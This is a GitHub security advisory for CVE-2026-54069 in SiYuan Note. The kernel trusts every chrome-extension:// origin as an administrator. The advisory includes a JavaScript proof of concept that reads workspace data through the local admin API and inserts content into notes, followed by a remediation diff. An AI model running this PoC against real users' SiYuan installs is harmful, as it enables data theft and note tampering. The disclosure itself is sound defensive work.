GitHub Advisoryadvisory · Go

GHSA-hvr9-72v2-fff3 SiYuan: Unauthenticated Admin API Access via Blanket chrome-extension:// Origin Allowlist

CRITICAL Published 2026-07-10 Modified 2026-07-10 Official page ↗
Aliases
CVE-2026-54069
Ecosystem
Go
Packages
github.com/siyuan-note/siyuan/kernel
Severity
Critical
CVSS vector
CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Weaknesses
CWE-346
Reviewed
2026-07-10

Affected packages

• Go github.com/siyuan-note/siyuan/kernel: < 0.0.0-20260628153353-2d5d72223df4 → fixed in 0.0.0-20260628153353-2d5d72223df4

Description

Summary SiYuan Note's kernel HTTP server unconditionally trusts all `chrome-extension://` origins, granting `RoleAdministrator` access to every installed browser extension without any authentication. Combined with the default empty `AccessAuthCode` on desktop installs, any Chrome/Chromium extension -- including a compromised legitimate extension via supply chain attack -- can make fully authenticated admin API calls to the SiYuan kernel at `127.0.0.1:6806`, enabling data exfiltration, stored XSS injection, and configuration tampering. Affected Versions SiYuan // No special host_permissions needed; localhost is accessible by default // 1. Verify admin access fetch('http://127.0.0.1:6806/api/system/getConf', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: '{}' }).then(r => r.json()).then(data => { console.log('[PoC] Admin API access confirmed:', data.code === 0); }); // 2. Exfiltrate workspace data fetch('http://127.0.0.1:6806/api/query/sql', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ stmt: 'SELECT * FROM blocks LIMIT 100' }) }).then(r => r.json()).then(data => { console.log('[PoC] Exfiltrated blocks:', data.data?.length); }); // 3. Inject stored XSS payload into a note fetch('http://127.0.0.1:6806/api/filetree/listDocsByPath', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ notebook: '', path: '/' }) }).then(r => r.json()).then(tree => { const firstDoc = tree.data?.files?.[0]; if (!firstDoc) return; fetch('http://127.0.0.1:6806/api/block/insertBlock', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ dataType: 'markdown', data: '', parentID: firstDoc.id }) }); }); ``` The extension requires zero special permissions. The `chrome-extension://` origin header is automatically sent by the browser, and `session.go:277` grants it `RoleAdministrator` without any token check. Impact • Unauthenticated admin API access for any installed browser extension, enabling full control of the SiYuan kernel • Data exfiltration of the entire workspace via `/api/query/sql`, `/api/filetree/`, `/api/export/` • Stored XSS injection via admin API endpoints (`/api/block/insertBlock`, `/api/attr/setBlockAttrs`), persisted in the user's notes • Configuration tampering via `/api/system/setConf`, enabling persistence and further attack surface expansion • Supply chain amplification: a single compromised popular Chrome extension update can silently exploit every SiYuan desktop user Suggested Remediation Remove blanket chrome-extension:// allowlist: ```diff --- a/kernel/model/session.go +++ b/kernel/model/session.go @@ -274,9 +274,6 @@ func CheckAuth(c *gin.Context) { origin := c.GetHeader("Origin") • if strings.HasPrefix(origin, "chrome-extension://") { • // Allow chrome extension requests • } else if !isValidOrigin(origin) { c.AbortWithStatusJSON(401, gin.H{"code": -1, "msg": "invalid origin"}) return ``` If extension access is required, implement a per-session token exchange: the SiYuan UI generates a random token on startup, and the extension must present it via a dedicated pairing endpoint. This ensures only explicitly authorized extensions can access the API.

Related

Alias · CVE (1)

  • CVE-2026-54069 SiYuan is an open-source personal knowledge management system. vulnerability

Weakness · CWE (1)

  • CWE-346 Origin Validation Error weakness

References